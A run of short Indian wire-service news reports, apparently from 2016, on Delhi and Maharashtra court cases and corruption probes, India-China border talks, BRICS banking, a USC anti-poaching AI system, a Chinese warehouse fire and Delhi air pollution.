"If a prisoner has a medical ailment, he has the right to get medical treatment. But, never is a prisoner taken anywhere except J J Hospital. Ghule has been fired as he was found guilty and we have recommended strict action against him," Singh said.

He said the motive behind Ghule's conduct and whether he received favours for it will be ascertained after the health department completes its probe into the matter.

Interestingly, Ghule had earlier alleged special treatment to inmates of the prison by the authorities in lieu of monetary considerations.

MoS, Home, (Urban) Ranjit Patil had ordered a DGP level probe into allegations of VIP treatment being accorded to some detainees in lieu of bribe at the jail.

The orders came after Ghule on April 6 wrote to Chief Minister Devendra Fadnavis alleging that jail authorities were coercing and threatening inmates lodged for economic offences and forcing them to cough up lakhs of rupees for availing VIP treatment.

DIG (Prisons) Rajan Dhamne today recorded Ghule's statement as part of the probe.

Jail authorities are now awaiting the discharge report of Bhujbal.
Scientists, including one of Indian origin, are using artificial intelligence to solve the problems of poaching and illegal logging, in order to protect endangered animals, especially in large national parks.

"In most parks, ranger patrols are poorly planned, reactive rather than pro-active, and habitual," according to Fei Fang, a PhD candidate at the University of Southern California (USC).

The research builds on the idea of green security games - the application of game theory to wildlife protection.

Game theory uses mathematical and computer models of conflict and cooperation between rational decision-makers to predict the behaviour of adversaries and plan optimal approaches for containment.

"This research is a step in demonstrating that artificial intelligence (AI) can have a really significant positive impact on society and allow us to assist humanity in solving some of the major challenges we face," said Milind Tambe, professor at USC.

The researchers first created an AI-driven application called PAWS (Protection Assistant for Wildlife Security) in 2013 and tested the application in Uganda and Malaysia in 2014. Pilot implementations of PAWS showed some limitations, but also led to significant improvements.

PAWS uses data on past patrols and evidence of poaching. As it receives more data, the system "learns" and improves its patrol planning.

Already, the system has led to more observations of poacher activities per kilometre.

Its key technical advance lies in its ability to incorporate complex terrain information, including the topography of protected areas.

That results in practical patrol routes that minimise elevation changes, saving time and energy.

Moreover, the system can also take into account the natural transit paths that have the most animal traffic - and thus the most poaching - creating a "street map" for patrols.

"We need to provide actual patrol routes that can be practically followed," Fang said.

"These routes need to go back to a base camp and the patrols can't be too long. We list all possible patrol routes and then determine which is most effective," Fang said.

The application also randomises patrols to avoid falling into predictable patterns.

"If the poachers observe that patrols go to some areas more often than others, then the poachers place their snares elsewhere," Fang said.

The team recently combined PAWS with a new tool called CAPTURE (Comprehensive Anti-Poaching Tool with Temporal and Observation Uncertainty Reasoning) that predicts attacking probability even more accurately.

In addition to helping patrols find poachers, the tools may assist them with intercepting trafficked wildlife products and other high-risk cargo, adding another layer to wildlife protection.
Besides the border question, India and China discussed issues related to counterterrorism including Beijing's blocking of India's bid in the UN to ban Pakistan-based JeM chief Masood Azhar, National Security Advisor Ajit Doval said today.

Doval, who wrapped up the 19th round of the two-day boundary talks called on Chinese Premier Li Keqiang here and discussed the outcome of the discussion with his Chinese counterpart Yang Jiechi.

Welcoming Doval, Li recalled his meeting with Defence Minister Manohar Parrikar two days ago during which the both sides discussed the progress in bilateral ties.

"These meetings show smooth communication and close engagement between our two countries in political and security affairs. It also shows how both sides attach great deal of importance to ensure steady growth of China-India relations," Li said.

Later in a brief chat with PTI, Doval said that in the border talks with Yang, the two sides discussed the boundary question and other issues like counterterrorism.

Asked whether Masood Azhar issue figured, he said: "Yes, obviously when terrorism is discussed".

India in recent weeks was vocal about criticising China for putting a "technical hold" on India's recent bid in the UN to bring about a ban on Pakistan-based Jaish-e-Muhammad (JeM) chief Azhar for his involvement in the Pathankot terror attack.

Regarding Azhar, India's UN Permanent Representative Syed Akbaruddin spoke of "hidden veto" at a meeting at an open debate in UNSC on 'Threats to International Peace and Security Caused by Terrorist Acts' in New York on April 16, while External Affairs Minister Sushma Swaraj and Defence Minister Manohar Parrikar called for a review of China's decision to strike a common stand against terrorism in their meetings this week with their Chinese counterparts.

For its part, China continued to stick to its stand, saying that its decision is based on facts and fairness.

On the talks over boundary, Doval said both sides want peace and tranquillity at the borders.

About India's emphasis that 3,488 km-long Line of Actual Control (LAC) be demarcated to prevent tensions between troops on both sides patrolling the area aggressively, Doval said New Delhi's stand is the same for quite some time.

There is nothing new about the suggestions, he said.
A Bangladeshi national was arrested today at the Netaji Subhas Chandra Bose International Airport here by customs department officers for smuggling gold biscuits worth Rs 32.67 lakh.

Musir Ahmed, a citizen of Bangladesh, had arrived here from Kuala Lampur in Malaysia by an Air Asia flight and tried to pass through the green channel gates of the customs when the sleuths grew suspicious about his movements, a customs officer at the NSCBI Airport said.

The person was detained and after close examination with help of medics, 11 gold biscuits were retrieved from him which were concealed in his rectum.

"The gold biscuits weigh around 1 kg and 100 gm and are estimated to be worth Rs 32.67 lakh. We have learnt that the arrested person was supposed to meet his contacts in a central Kolkata hotel where they were planning to sell the biscuits. Investigations are on," the officer said.
Expressing anguish over incidents of "religious and racial outrage" against members of the Sikh community across the globe, Punjab Chief Minister Parkash Singh Badal today urged the Centre to make an effective and prompt intervention to stop such attacks.

Badal's plea comes in the wake of removal of turban of a Sikh-American teenager by the US authorities at New Jersey recently, an official release said today.

Taking strong exception to recurrence of such incidents world over, Badal has taken up this issue with the Centre to impress on the American authorities to take stern action against the erring officials, it said.

Badal asked the union government to resolve this issue at the earliest using all diplomatic and political channels at the highest level.

The Chief Minister said the whole of Punjab is highly sensitive to this problem faced by Sikhs settled abroad.

The Shiromani Gurdwara Prabhandak Committee and Delhi Sikh Gurdwara Management Committee have been stressing on this issue to rein in racial elements, the release said.
Bihar today sought the central government's assistance to bring down the non-performing assets (NPAs) of the state's cooperative banks, which currently stand at Rs 197.32 crore.

"Increase in NPA of state cooperative banks has become a major problem. It is important to address the issue not only for cooperative banks but also for farmers of the state," Bihar Cooperative Minister Alok Kumar Mehta said in a letter to Union Agriculture Minister Radha Mohan Singh.

At present, NPAs of cooperative banks in Bihar stand at Rs 197.32 crore.

The state is facing partial drought due to deficit monsoon for last three years. Moreover, many districts have faced floods and hailstorm impacting recovery of loans by banks, he said.

"The central government gives necessary financial assistance to commercial banks for bringing down NPAs. Even financial assistance is given to cooperative banks of Uttar Pradesh. Therefore, I request the central government to provide assistance to Bihar also," he added.

Besides, Mehta demanded funds for setting up of processing and distribution infrastructure for fruits and vegetables, cold storage units and maize processing units. He also raised concerns about the new crop insurance scheme.
BRICS countries on Friday discussed the efficacy of "establishing" a bank institute and a rating agency of their own following the New Development Bank (NDB) becoming fully operational.

BRICS finance ministers and central bank governors met here on the sidelines of the annual Spring meeting of the Monetary Fund and the World Bank, for a discussion chaired by Finance Minister Arun Jaitley.

BRICS comprises five emerging economies  Brazil, Russia, India, China and South Africa.

"Deliberations were held on efficacy of establishment of New Development Bank Institute and BRICS rating agency," a media release said.

"It was decided that a technical working group would examine the issues in detail," a statement said.

The findings of the technical group would be presented to BRICS finance ministers and central bank governors in their next meeting, it added.

During the meeting, Jaitley complimented K V Kamath, NDB president, and his team for the quick pace with which the bank has commenced its operations, a sentiment which was thereafter echoed by other members of the board of governors of NDB.

The board of governors of NDB noted that the bank has commenced operations through approval of its maiden projects on April 13.

The NDB, which commenced operations in July, 2015, is headquartered in Shanghai and its initial authorised capital is $100 billion.

So far, the NDB has approved four green renewable energy projects from India, China, Brazil and South Africa entailing bank financing of $811 million.

The project from India entails provisioning of a multi-tranche loan of $250 million to Canara Bank for lending to renewable energy ventures.

The project will result in generation of 500 Mw of renewable energy and savings of about 800,000 tonnes of carbon emissions.

Jaitley also held a bilateral meeting with Lou Jiwei, finance minister of China.

The two discussed areas of mutual collaboration and commonality of their positions in various multilateral fora.

Jaitley is currently on an official tour to Washington to attend the annual Spring meeting of the IMF and the World Bank, board of governors meeting of the New Development Bank and other associated meetings.

He is accompanied by Reserve Bank of India governor Raghuram Rajan, Chief Economic Adviser Arvind Subramanian, and Shaktikanta Das, secretary, economic affairs.
A man, who has filed a complaint against Delhi government minister Imran Hussain and others, has sought transfer of the probe in the case to CBI, alleging that the police was "deliberately shielding" the accused.

The complainant, Mohd Qasim, has also sought adding of graft charges against the minister, leading the Delhi High Court to seek the response of Delhi Police on the issue today.

The petition came up for hearing before Justice Pratibha Rani where the police's counsel said they would file a status report. The court posted the matter for hearing on July 27.

The plea sought transfer of the probe in the case lodged by the police against Hussain, the Minister of Food Supplies, Environment and Forest, and others to the CBI and also add provisions of the Prevention of Corruption Act in the matter.

The petitioner also sought a direction to the police to provide protection to him and his family members alleging that they were receiving threats from Hussain's associates.

In his plea, Qasim claimed that Hussain "virtually controls and holds great influence over each and every construction work which is carried out in Ballimaran area (in Old Delhi)".

He alleged that the police was "deliberately shielding the accused persons" and the matter should be transferred to CBI for a free and fair probe.

"... The matter involves serious charges of corruption against a high profile, influential cabinet minister of the GNCT of Delhi, the police may transfer the matter to the CBI which is an independent and specialised central agency beyond the control of accused Imran Hussain," the plea, filed through advocate Aman Panwar, said.

Senior advocate N Hariharan and advocate P K Dubey, who appeared for Qasim, told the bench that their client was receiving threats. He said on the basis of his complaint, an FIR was lodged in February this year by police against Hussain and others.

The court then asked the counsel for police to provide



phone number of station house officer of the concerned police station to the petitioner so that he can contact him.

Qasim, a resident of the area, alleged that he had to carry out renovation work at his house for which he had purchased construction materials. But in November last year, Hussain's representative approached him and told him that he cannot carry out the work without the minister's permission.

He claimed that he and his brothers went to meet Hussain at his residence but were threatened not to carry out the construction work. He also alleged that Hussain had demanded illegal gratification of Rs 30 lakh for carrying out the construction work.

The petitioner claimed that Hussain and others abused them and continued to demand bribe and the telephonic conversation was recorded. Hussain, he alleged, also sent his representatives who again demanded bribe of Rs 25 lakh, and a video of this conversation was also recorded.

The complainant said he has also annexed transcripts of recorded conversation along with his petition.
In yet another attack on the Modi government after the Uttarakhand High Court verdict, key NDA ally Shiv Sena today said the Centre's decision to impose President's rule in the hill state has been "thrown into the dustbin" and that it had "disrobed" itself.

The Modi government suffered a major embarrassment after the Uttarakhand High Court in a stunning verdict yesterday quashed the imposition of President's Rule in the state.

The Sena while welcoming the landmark verdict to restore the democratically elected Government said it also "belittled" the office of the President.

"The judiciary has thrown into the dustbin the Centre's decision to impose the President's rule in Uttarakhand. It has also discredited Centre's stand that the President had endorsed its recommendation," said an editorial in Sena's mouthpiece 'Saamana.'



The Court's observation that the President can err literally means the Modi government has committed a mistake by imposing Central rule in the hill state, it said.

"The Modi government tried to use the President's office for political gains but were prevented from doing so by the Court. Thus, not only has the Centre disrobed itself, but also belittled the office of the President," it said.

"Looking from a democratic perspective, the verdict should be welcomed," the Sena said.

The High Court also castigated the Centre for uprooting a democratically-elected government.
Union Minister Mahesh Sharma today said efforts are being made to work out "mutually acceptable" terms for AAI and Singapore's Changi Airport with respect to operating Ahmedabad and Jaipur airports.

The latest development comes after Airports Authority of India's (AAI) terminated discussions following its assessment that the Changi Airport's proposal would not be commercially viable.

The proposal to have Changi Airport to operate and maintain Ahmedabad and Jaipur aerodromes was mooted during Modi's visit to Singapore in November 2015.

"We have conveyed (to Changi Airport) that their terms and conditions are not favourable. We have asked them to make the conditions mutually acceptable," Sharma, the Minister of State for Civil Aviation, said today.

He said AAI would go ahead only if the proposal is "suitable" and in case that does not materialise, then an alternative would be looked at.

According to sources, Changi Airport was allegedly demanding a very high share in revenues from the two airports which was not acceptable to AAI.

With regard to Ahmedabad and Jaipur airports, AAI had inked a memorandum of understanding (MoU) with Singapore Cooperation Enterprise (SCE) during Modi's visit to the island nation.

In January, the Union Cabinet had also given its ex-post facto approval to the MoU.

Earlier this month, an AAI official said it could not reach "mutually agreeable terms" with the Changi Airport on the proposal.

SCE had nominated Changi Airport for the proposed project.

Changi Airport Group (Singapore) Pte Ltd runs the Changi airport in Singapore.

Under the MoU, both parties were to cooperate in planning and development of Ahmedabad and Jaipur airports besides other aspects including traffic and commercial development, service quality and operations and management.

Globally, limited O&M (Operation & Maintenance) contract models are prevalent for the entire airport operations, the statement said, adding the AAI has no previous experience in awarding O&M contract model of terminal buildings to other entities.
BJP today suggested that the charge against extremist Hindutva organisation in Samjhauta Express and Malegaon blasts could be an outcome of the then UPA government's "prejudice" as it raked up 'Hindutva terror' and 'saffron terror' remarks of the then Union ministers.

The party cited a series of comments of Congress leaders and the then ministers to claim that whatever happened appeared to be a "deliberate attempt driven by vote bank politics and political prejudices".

Party spokesperson Sudhanshu Trivedi cited RTI replies, comments of the then officials connected with these probes, intelligence of foreign agencies and court proceedings to allege that the UPA government's actions have come under a "deep suspicion".

"Use of such phrases by top Congress leaders almost one and an half year before cases were properly transferred (to NIA), when there was no probe report or court's proceedings raises a big question about their intentions, make it appear that this was not the natural outcome of investigation.

"It appears to be a deliberate attempt caused by your (Congress) vote bank politics and political prejudice," he told a press conference.

Trivedi alleged that the saffron terror phrase was first used in 2009 and then Congress vice president Rahul Gandhi had reportedly said in an interaction in July 2010 that 'Hindu terrorism' was more dangerous than other terrorism.

The then Home Minister P Chidambaram used the saffron terrorism phrase in Parliament in August 2010, Trivedi alleged, and wondered if this was a mere coincidence. He also referred to Congress leader Digvijay Singh releasing a book that had "linked RSS to 26/11 Mumabi terror attack".

He condemned Congress for accusing the government of "subverting" the probe in these cases and said courts should be allowed to adjudicate.

BJP, he clarified, was not responding to the legal aspect of the cases and their investigation but only highlighting political comments made by Congress leaders.

Accusing Congress of practicing "petty politics" in a matter of national security, he said the party should offer regret for its use of such terms.
A warehouse storing chemicals and fuel caught fire and exploded today in China's eastern Jiangsu province and authorities said the situation was "under control".

No death or injuries were reported in the incident, the Jingjiang government said on its microblog.

It further added the fire was "under control". It said the materials that caught fire include methanol and mixed aromatics.

Local residents in Jingjiang city have complained of foul air quality caused by the company since the warehouse started operation in July 2010, China Daily reported.

The government also said that the fire caused little damage to environment and activity near the site had returned to "normal".

But it was still burning in the afternoon, it reported.

Photos posted online showed dark clouds of smoke rising from the blaze from the block of storage tanks located at the Jingjiang Port.

The blast recalled huge explosions caused by improper storage of chemicals in Tianjin last August, when at least 165 people were killed and fears were raised of toxic contamination.
The founder of China's Internet giant Tencent will donate USD 2 billion in shares to charity, the company said -- one of the largest gifts ever given in a country whose new super-rich have no tradition of philanthropy.

Pony Ma, Tencent's chief executive, will give the shares to a new foundation for mainland projects in health, education and environmental conservation, among other issues, his company said.

The donation -- which will vest over several years -- appears to be the largest ever by a single individual in China, where there is great public mistrust of charitable organisations battered by years of scandal.

"After 10 years of exploration and participation in philanthropic activities, I increasingly feel that a longer-term and more organized way is needed to give back to society," Ma said.

Pony Ma is the 34th richest man in the world with a net worth of USD 20.2 billion, according to Bloomberg's ranking of billionaires.

China's top businessmen fall far behind their Western counterparts in corporate social responsibility.

In 2014, Jack Ma and Joe Tsai, co-founders of rival Internet behemoth Alibaba, pledged to establish a philanthropic trust funded with shares in the company estimated to be worth USD 3 billion at the time.

But the country's most generous donor last year was He Xiangjian, founder of appliance maker Midea, who gave 400 million yuan (USD 61.7 million), according to data compiled by Harvard University's Kennedy School of Government.

"In China, both donors and recipients have to pay taxes on donations. Many entrepreneurs find it hard to find a qualified charitable trust to manage the donations," the state-run Global Times today quoted Song Houliang, chief editor of China Philanthropist magazine, as saying.

"Such problems have dampened their enthusiasm for giving," he added.

China passed its first charity law in March, which sought to increase public confidence in giving while tightening its control of the sector. It will take effect on September 1.

China is the world's second-largest economy but ranks 144th out of 145 countries for giving, according to a study last year by the Charities Aid Foundation.

Chinese citizens donated just USD 16 billion in 2014, according to the most recent data from the China Charity Information Centre -- less than 0.2 per cent of annual GDP.

In the US in 2014, giving accounted for 2.1 per cent of GDP, according to the National Philanthropic Trust.

The issue is partly driven by a lack of legal framework for charitable trusts and taxes, analysts say.

"Donations can be made only when the fundamentals are all in place, and that's why I think giving to charities is more difficult than earning money," the Global Times cited Jack Ma as saying in a speech at Peking University last year.
Businessman Manoj Kumar Jayaswal, an accused in three coal block allocation scam cases and is seeking a joint trial, today told a special court that these matters were the outcome of the same "conspiracy" and cannot be tried separately.

His counsel told Special CBI Judge Bharat Parashar that while various witnesses and documents were common in the three matters, the FIRs were "closely knit" and the alleged offences pertained to the same transaction.

The court fixed May 13 for hearing further arguments on the plea seeking joint trial in the three case.

Advocate Vijay Aggarwal, appearing for Jayaswal, argued that CBI's allegation against his client in all the three cases was that he had conspired with former Coal Secretary H C Gupta, who is also facing prosecution in these cases.

"How can there be different conspiracies? It's like a wheel and Jayaswal and Gupta are connected through its rim. So there is a single conspiracy, if any," he contended.

He also said his defence in these three cases was the same and if these matters are not tried jointly, then it would prejudice him. "All the cases are based on the same cause of action and are outcome of the similar alleged conspiracy."



Jayaswal is accused in three cases pertaining to alleged irregularities in allocation of coal blocks to AMR Iron and Steel Private Limited, JLD Yavatmal Energy Private Limited and JAS Infrastructure and Power Limited, now known as Jas Infrastructure Capital Private Limited (JICPL).

Barring former Minister of State for Coal Santosh Bagrodia and retired public servant L S Janoti who are accused in one of these three cases, all others facing prosecution have not objected to the plea seeking a joint trial.

Janoti's counsel had earlier opposed the plea saying that number of documents and witnesses would be huge if these three cases are clubbed, while the other accused, including Gupta, have supported Jayaswal's plea.

In the AMR Iron and Steel Pvt Ltd case, Bagrodia, Rajya Sabha MP Vijay Darda, his son Devendra Darda are accused along with others. Dardas are accused with Jayaswal in JLD case.

All the accused in the three cases were earlier granted bail by the court and the matters were fixed for commencement of arguments on framing of charges.

The AMR case pertains to alleged irregularities in allocation of Bander coal block in Maharashtra to the firm, while JLD case relates to allocation of Fatehpur (East) coal block in Chhattisgarh. JAS was allotted Mahuagarhi coal block in Jharkhand.

Around eight different charge sheets have been filed



against Gupta and proceedings are going on individually. The Supreme Court had recently dismissed his plea seeking joint trial in all these cases.

Some of the cases in which Gupta was summoned as accused by the court include those relating to alleged irregularities in allocation of Thesgora-B Rudrapuri coal block to accused firm Kamal Sponge Steel and Power Ltd (KSSPL) and allocation of Moira and Madhujore (North and South) coal blocks in West Bengal's Raniganj area to Vikash Metal and Power Ltd.

He is also accused in a case of alleged irregularities in the allotment of the Amarkonda Murgadangal coal block to two companies of Jindal group and allocation of Brahmapuri coal block in Madhya Pradesh to accused firm Pushp Steels and Mining Pvt Ltd (PSMPL).

The court had on July 31 last year issued summons to the accused after taking cognisance of CBI's final report. The court had earlier refused to accept the probe agency's closure report filed in the case and had directed it to further investigate the matter.

It had noted that it was prima facie clear that officers of the Ministry of Coal or the screening committee had acted in a manner which was "detrimental" to public interest and they had allowed JAS Infrastructure and Power Ltd (JIPL), now known as JICPL, to "misappropriate" nationalised natural resources.

The agency had earlier filed a closure report in the case in which it had lodged an FIR against the firm, Jayaswal and others for alleged irregularities by JIPL in acquiring the coal block.

The FIR was lodged on the allegation that the company had not disclosed to the Ministry of Coal that it was already in possession of a coal block.
Congress and BJP today demanded the resignation of Delhi Environment minister Imran Hussain who is facing corruption charges.

Delhi High Court while hearing a petition today has sought reply of the Delhi Police regarding transferring a case registered against Hussain to CBI.

Mohammad Qasim who has filed a complaint against Hussain and others, has sought transfer of the probe in the case to CBI, alleging that the police was "deliberately shielding" the accused.

Delhi Congress president Ajay Maken demanding the resignation of Hussain said that the party workers will stage a protest at Delhi Secretariat for his removal from the AAP government.

Delhi BJP too demanded that Hussain be dropped from the Delhi cabinet till the court decides on the corruption complaint against him as his staying in office can "hamper" fair investigation.

Qasim who has alleged that Hussain had demanded illegal gratification of Rs 30 lakh from him for carrying out construction work, had lodged a complaint on the basis of which an FIR was registered by the police against the minister and others in February this year.

Congress had released a sting operation video in this connection.
Former Jharkhand Congress president and Rajya Sabha MP Pradip Kumar Balmuchu today stressed on unity among Opposition parties to defeat BJP in the next Assembly polls in the state.

"Now on we should shelve all our differences and come under a platform to defeat BJP in the state," Balmuchu said while responding to a query about the bypolls scheduled to be held for Godda and Panki Assembly seats next month.

Addressing a press conference here, Balmuchu said a co-ordination committee meeting of the Jharkhand Pradesh Congress Committee (JPCC) was on in Ranchi today to explore possibilities to contest the by-polls in alliance with JMM.

When his attention was drawn to the fact that the main Opposition party in the state, JMM, has decided to go it alone and likely to announce the names of candidates for the two seats today in Ranchi, Balmuchu said JMM was free to take decision, but Congress wants to contest the by-polls in an alliance to defeat the BJP.

"The by-polls are a good opportunity for the Opposition to come under one platform to defeat BJP in the next Assembly elections in 2020," he said.

Bypolls for Godda and Panki Assembly constituencies in Jharkhand would be held on May 16.

Referring to the High court verdict regarding the Uttarakhand government, Balmuchu hailed the judgement and said it would repose people's faith in judiciary.

"The court verdict was a victory of democracy and a befitting reply to those forces who wanted to strangulate it," he said.
A local court today allowed the police to take Sunil Meher, accused in a sex racket case, to four days' remand from tomorrow.

Meher, who was arrested by the police from Kolkata airport yesterday, was produced before the Sub-Divisional Judicial Magistrate's court (SDJM) here.

Though the police had sought five days' remand of Meher, the court allowed four days.

The Quick Action Team (QAT) of the Commissionerate Police had apprehended Meher no sooner than he arrived at the Kolkata airport on a flight from Ahmedabad.

"We had sought five days' remand for Meher," DCP Satyabrat Bhoi said.

Police would try to elicit information from Meher about his network through which he allegedly managed to run the inter-state sex racket.

Meher is wanted in nine cases with regard to his alleged link with sex rackets for a long time.
A Delhi court today dismissed a plea seeking to examine several doctors on the issue of potency of an accused in the Danish woman gangrape case, who had died in jail two months ago.

Additional Sessions Judge Ramesh Kumar-II rejected the application of counsel for accused Shyam Lal, who had died in February, and fixed the case for April 26 for hearing final arguments in the case.

Proceedings against accused Shyam Lal were abated in the case of gangrape of a 52-year-old Danish woman here in 2014.

Defence counsel had filed the plea seeking to recall as court witnesses, some doctors of RML Hospital who had conducted the potency test of 55-year-old Lal.

The plea was opposed by Special Public Prosecutor Atul Shrivastava who argued that it was a delaying tactics by the defence.

He had said when Lal was alive and prosecution had sought the examination of three doctors regarding his potency after he claimed to be impotent, it was opposed by the defence.

According to the prosecution, the nine accused, all vagabonds, had allegedly robbed and gangraped the Danish tourist at knife-point on the night of January 14, 2014, after leading her to a secluded spot close to the Divisional Railway Officers' Club near New Delhi Railway Station.

All nine accused were arrested. The five adult accused - Mahendra alias Ganja (26), Mohd Raja (22), Raju (23), Arjun 21), Raju Chakka (22) - are in judicial custody and facing trial. Lal, who was in judicial custody, died in February.

Three other accused were juveniles against whom inquiry before the Juvenile Justice Board is in progress.

The court had earlier allowed prosecution's plea to place on record the original medical and potency test report of Lal, who had claimed to be impotent, and examine three doctors in this regard.
AAP legislator Alka Lamba has been summoned as accused by a Delhi court for allegedly trespassing and vandalising a shop here and obstructing police from performing their duty last year.

Metropolitan Magistrate Abhilash Malhotra took cognisance of the charge sheet filed by Delhi Police against Lamba and directed her to appear before the court on May 18.

Lamba has been chargesheeted for alleged offences under sections 186 (obstructing public servant in discharge of public functions), 353 (assault or criminal force to deter public servant from discharge of his duty), 427 (mischief causing damage to property), 451 (house-trespass) and 34 (common intention) of the IPC.

"The present charge sheet is filed under sections 186, 353, 427, 451 and 34 of IPC against MLA Alka Lamba. It is stated in the charge sheet that on August 9, 2015, Alka Lamba along with some other persons committed trespass in the shop of complainant and threw cash bill machine, vandalised the counter and obstructed and deterred the police personnel.

"Keeping in view the material on record, I take cognisance of the offence under section 190(1)(c) of CrPC against the accused. Accordingly, accused Alka Lamba be summoned through SHO concerned for May 18," the court said.

An FIR was lodged against the AAP MLA from Chandni Chowk on August 10 last year, a day after she was hit and had received head injuries in a stone-pelting attack during her anti-drug campaign in the Kashmere Gate area.

The case was registered at Kashmere Gate Police Station on a complaint by traders including the proprietor of a sweet shop, Shiv Mishthan Bhandar.

The case was lodged against Lamba after a video clip emerged in which she was allegedly seen vandalising shops along with some of her supporters.

According to the police, the CCTV camera footage recovered from the shop showed Lamba toppling the billing machine while one of her colleagues was seen pushing everything from a table and jostling with cops.

Lamba had claimed the 30 second CCTV footage was from Sharma's shop and it was shot after she was attacked.

On her part, Lamba had filed a complaint with the Delhi Commission for Women against BJP MLA OP Sharma for calling her a "drug addict".

She had said the raid was aimed at shops in the area which were operating illegally and helping drug peddlers. Police had registered a case in connection with the attack on Lamba and arrested one person.
Shares of IT firm Cyient slumped nearly 6 per cent today after the company reported 30 per cent decline in net profit for the March quarter.

After falling 6.46 per cent to Rs 451 in intra-day session, the stock finally closed at Rs 454.45, down 5.75 per cent on BSE.

On NSE, it fell by 5.93 per cent to close at Rs 454.50.

The company's market valuation also fell by Rs 311.19 crore to Rs 5,111.81 crore.

IT firm Cyient, formerly known as Infotech Enterprises, yesterday reported a 29.7 per cent drop in net profit at Rs 65.9 crore for the March quarter, weighed down by a one-time payment of Rs 84.3 crore.

The Hyderabad-based company had posted a net profit of Rs 93.8 crore in the corresponding quarter a year ago.

Excluding the one-off item, net profit was 10.1 per cent lower at Rs 84.3 crore in the reported quarter.

Cyient's revenue stood at Rs 815.8 crore in the said quarter as against Rs 730 crore in the year-ago period, up 11.8 per cent.

In dollar terms, net profit dropped 35.2 per cent to USD 10 million while revenue grew 3 per cent to USD 121 million in the quarter under review a year earlier.

For 2015-16, net profit was down 7.6 per cent at Rs 326.2 crore while revenue grew 13.1 per cent to Rs 3,095.6 crore compared with the previous fiscal.
The Delhi Commission for Women (DCW) has issued notices to the city government's Labour Department, Services Department and Forensic Science Laboratory (FSL) over non-provision of maternity benefits for their contractual employees.

The move came in the wake of Commission receiving a complaint by a contractual employee of the Forensic Science Laboratory under Delhi government regarding the non-provision of maternity benefits for her during the course of her maternity leave.

"The Commission is of the view that the non payment of maternity benefits to contractual employees is a violation of the Maternity Benefits Act of 1961.

"In addition, as-per the judgment of the Apex Court in the case of Municipal Corporation of Delhi v Female Workers (Muster Roll) and another reported in (2000) 3 SCC 224, it has been held that the Maternity Benefit Act makes no difference between permanent, temporary and contractual employees," a DCW senior official said.

Earlier, the DCW had issued notice to the Delhi government's Home Department asking it to ensure maternity benefits to the complainant and to issue clear guidelines to all offices under it, detailing the entitlements of a contractual employee under the Maternity Benefit Act of 1961.

"After receiving DCW's notice, the Home Department sought an opinion from the Law Department which has opined that 'female contractual employees are entitled to maternity leave as per the provisions of the Maternity Benefits Act 1961', which stipulates that every woman shall be entitled to, and her employer shall be liable for, the payment of maternity benefit, which is 3 months of her salary," the official said.

Further, the Law Department has stated in its opinion that the administrative departments should examine the matter and take further action as desired by the Commission.

Based on the opinion, the Home Department requested the Services and Labour department for the issual of clear and definite guidelines for both public and private institutions regarding maternity leave and maternity benefits as per the provisions of the Maternity Benefit Act 1961, the official said.

The DCW has now issued notices to the Labour Department and the Services Department as to why the guidelines regarding entitlements of contractual employees under the Maternity Benefit Act 1961 have not been issued till date and has also written to the FSL for immediate disbursal of the maternity benefits that the particular complainant is entitled to.
The city government has put on hold its bike-taxi and rent-a-bike schemes after authorities in Gurgaon and Bengaluru launched a crackdown over rampant violations in their operations.

The AAP government had in February last year approved the rent-a-bike scheme but not notified it. It was aimed at providing last mile connectivity to tourists and individual in the city.

The Bike-taxi scheme was, however, under consideration.

"In Gurgaon and Benguluru, operators of rent-a-bike and bike-taxi schemes were running private vehicles which is in violation of rules. Only commercial vehicles are allowed under the scheme," said a senior official.

The official said that in view of this, the transport department will study the scheme and then come out with a final notification.

"We have put on hold rent-a-bike and bike-taxi schemes for now. We will soon issue a notification on the schemes after studying all aspects," the official said.

As per the rent-a-bike scheme, tourists will be required to submit their identity at bike counters and thereafter, they would be given the bike on rent.
Delhi's air quality plunged today with monitoring stations recording a spike in the level of respirable as well as gaseous pollutants coming as it did into a week of the odd-even scheme's second phase.

The spike comes against the backdrop of simmering fire at landfill sites such as Bhalswa. The Delhi government has formed a four-member committee to probe the incidents of fire at Bhalswa, Ghazipur and Raj Ghat areas.

Notwithstanding AAP's attempts to describe the flames as "sabotage" attempts by the BJP to derail the road-rationing measure, pollution officials said sufficient data was not available to correlate fire and pollution.

According to SAFAR (System of Air Quality and Weather Forecasting and Research), the eight-hour average of surface-level ozone touched 60 parts per billion (ppb). The rise comes after three days of relative stability.

Even PM 2.5, that cause harm to the respiratory system on prolonged exposure, steadily rose through the day from around 70 micrograms per cubic metre to 94 micrograms per cubic metre.

SAFAR's eight stations recorded air quality mostly in the 'poor' category around 7 PM. Although the IGI station had an air quality index of 'very poor' which results in respiratory illness on prolonged exposure.

Delhi Pollution Control Committee's Civil Lines monitoring station had PM 2.5 and PM 10 at 261.90 and 353.26 micrograms per cubic metre around 6.30 PM. Their corresponding safe limits are 60 and 100 respectively.
Denmark is a steadfast partner in global coalition efforts against ISIS and its contributions have been significant, the US has said, a day after Danish parliament approved the country's expanded role in the fight against the dreaded terror group.

"This week's decision by the Danish Parliament to approve an expanded role in the fight against ISIL is a welcome contribution from a valued partner in the counter-ISIL coalition and another sign of the growing momentum for the campaign to defeat ISIL," US Defence Secretary Ashton Carter said yesterday.

"Denmark is a steadfast partner in global coalition efforts. Its contributions, including strike aircraft, air defence radar and training and assistance to Iraqi forces, have already been significant.

"This renewed and expanded role in the military campaign, including the authority to participate in the full spectrum of combat operations in Iraq and Syria, will further increase the military pressure on ISIL," Carter said.

In addition, Denmark will provide important resources to help ensure security and stability in areas freed from ISIL control, an essential element in dealing ISIL a lasting defeat, he said.

The State Department joined Carter in welcoming the Danish decision.

"The US welcomes the vote yesterday by the Danish parliament and the announcement by the UAE to expand their contributions to the coalition to counter ISIL," State Department Spokesman John Kirby said.

"Denmark's vote to increase authorised personnel on the ground and the redeployment of F-16 fighter aircraft for operations in both Iraq and Syria will complement their existing contributions to the coalition and will certainly complement the broader coalition kinetic efforts as well," Kirby added.

Denmark's Parliament voted on Tuesday to expand its role in the 66-member global coalition combating the Islamic State of Iraq and Syria (ISIS) to include a presence in Syria.
The Bombay High Court today asked the Municipal Corporation of Greater Mumbai (MCGM) whether it has a policy to offer jobs to families of firemen who die in harness and to the kin of victims who perish in fire mishaps.

If such a policy does not exist, then the civic body has to ensure that it frames one on these lines, a bench headed by Justice Abhay Oka said while hearing a petition seeking fire safety audits in city buildings.

The bench has asked the MCGM to file a reply to its query on this policy and deferred the matter for hearing beyond summer vacations in June.

